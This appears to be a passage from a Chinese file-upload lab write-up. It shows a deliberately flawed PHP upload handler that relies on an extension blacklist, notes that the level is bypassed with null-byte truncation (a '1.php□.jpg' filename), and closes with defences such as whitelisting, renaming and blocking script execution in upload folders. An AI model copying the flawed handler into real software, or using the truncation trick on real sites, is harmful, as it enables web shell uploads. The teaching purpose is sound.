1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = $_POST ['save_name' ]; $file_ext = pathinfo ($file_name ,PATHINFO_EXTENSION); if (!in_array ($file_ext ,$deny_ext )) { $img_path = $UPLOAD_ADDR . '/' .$file_name ; if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $img_path )) { $is_upload = true ; }else { $msg = '上传失败!' ; } }else { $msg = '禁止保存为该类型文件!' ; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!' ; } }
是个00 截断。
1 <img src ="../upload/1.php□.jpg" width ="250px" />
总结
对上传文件的后缀名进行小写转换再用白名单过滤。
对文件进行重命名。
及时更新WEBserver 的服务,修复最新的漏洞。
对上传文件的文件夹做访问限制,只允许访问特定文件。
1 2 order deny,allow deny from all
由于可能会上传PHP 等脚本文件,所以禁止上传文件的文件夹运行脚本。
1 2 3 4 5 <Directory "/var/www/html/upload/data/attachment" > <FilesMatch ".(php|asp|jsp)$" > Deny from all </FilesMatch> </Directory>